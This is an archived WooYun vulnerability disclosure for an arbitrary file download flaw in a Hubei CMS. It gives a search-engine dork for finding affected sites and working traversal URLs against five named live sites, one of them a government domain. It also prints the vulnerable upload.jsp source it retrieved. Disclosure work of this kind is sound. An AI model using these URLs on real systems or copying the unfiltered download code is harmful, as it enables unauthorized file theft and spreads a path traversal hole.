当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-071338

漏洞标题:湖北省某通用CMS任意文件下载

相关厂商:www.jetsum.com

漏洞作者: nextdoor

提交时间:2014-08-07 12:17

修复时间:2014-11-05 12:18

公开时间:2014-11-05 12:18

漏洞类型:任意文件遍历/下载

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-07: 细节已通知厂商并且等待厂商处理中
2014-08-12: 厂商已经确认,细节仅向厂商公开
2014-08-15: 细节向第三方安全合作伙伴开放
2014-10-06: 细节向核心白帽子及相关领域专家公开
2014-10-16: 细节向普通白帽子公开
2014-10-26: 细节向实习白帽子公开
2014-11-05: 细节向公众公开

简要描述:

湖北省某通用CMS任意文件下载

详细说明:

影响厂商
武汉万网捷讯数码技术有限公司
http://www.jetsum.com/

google关键词
技术支持:武汉万网捷讯数码技术有限公司
upload.jsp?name=


hubei.PNG


测试用例几个

http://www.whldkjgs.com/upload.jsp?name=/WEB-INF/web.xml
http://www.whxianggang.cn/upload.jsp?name=/WEB-INF/web.xml
http://wetem.net.cn/upload.jsp?name=/WEB-INF/web.xml
http://www.hbyl.gov.cn/upload.jsp?name=/WEB-INF/web.xml
http://www.hbyfxxw.com/upload.jsp?name=/WEB-INF/web.xml

漏洞证明:

http://www.whxianggang.cn/upload.jsp?name=upload.jsp
下面是下载的upload.jsp文件

<%@page contentType="text/html;charset=gbk" import="java.io.*,java.util.*,java.net.*,javax.servlet.http.*" %>
<%!
public void downLoad(HttpServletResponse response,String fileName, String realPath) throws Exception {
File f = new File(realPath);
if (!f.exists()) {
response.sendError(404, "File not found!");
return;
}
fileName = new String(fileName.getBytes("GBK"), "ISO8859_1"); //处理文件中含中文的问题,不是万能的
boolean isOnLine = false;
response.reset(); //非常重要
if (isOnLine) { //在线打开方式
URL u = new URL(realPath);
response.setContentType(u.openConnection().getContentType());
response.setHeader("Content-Disposition",
"inline; filename=" + f.getName());
} else { //纯下载方式
response.setContentType("application/x-msdownload");
response.setHeader("Content-Disposition",
"attachment; filename=" + fileName);
}
byte[] buf = new byte[1024];
int len = 0;
BufferedInputStream br = null;
OutputStream out = null;
try {
br = new BufferedInputStream(new FileInputStream(f));
out = response.getOutputStream();
while ((len = br.read(buf)) > 0) {
out.write(buf, 0, len);
}
out.flush();
} catch (Exception e) {
//e.printStackTrace();
} finally {
if (br != null) {
br.close();
br = null;
}
if (out != null) {
out.close();
out = null;
}
}
}

%>
<%

String s=request.getParameter("name"); //并没有进行有效的过滤,可以现在任意文件
String ss=request.getRealPath(s);
s=s.substring(9,s.length());
downLoad(response,s,ss);

%>

修复方案:

验证name的有效性

版权声明:转载请注明来源 nextdoor@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2014-08-12 09:07

厂商回复:

CNVD确认并复现所述情况,暂未建立与软件生产厂商联系渠道,已经下发给湖北分中心,建议处置政府案例。

最新状态:

暂无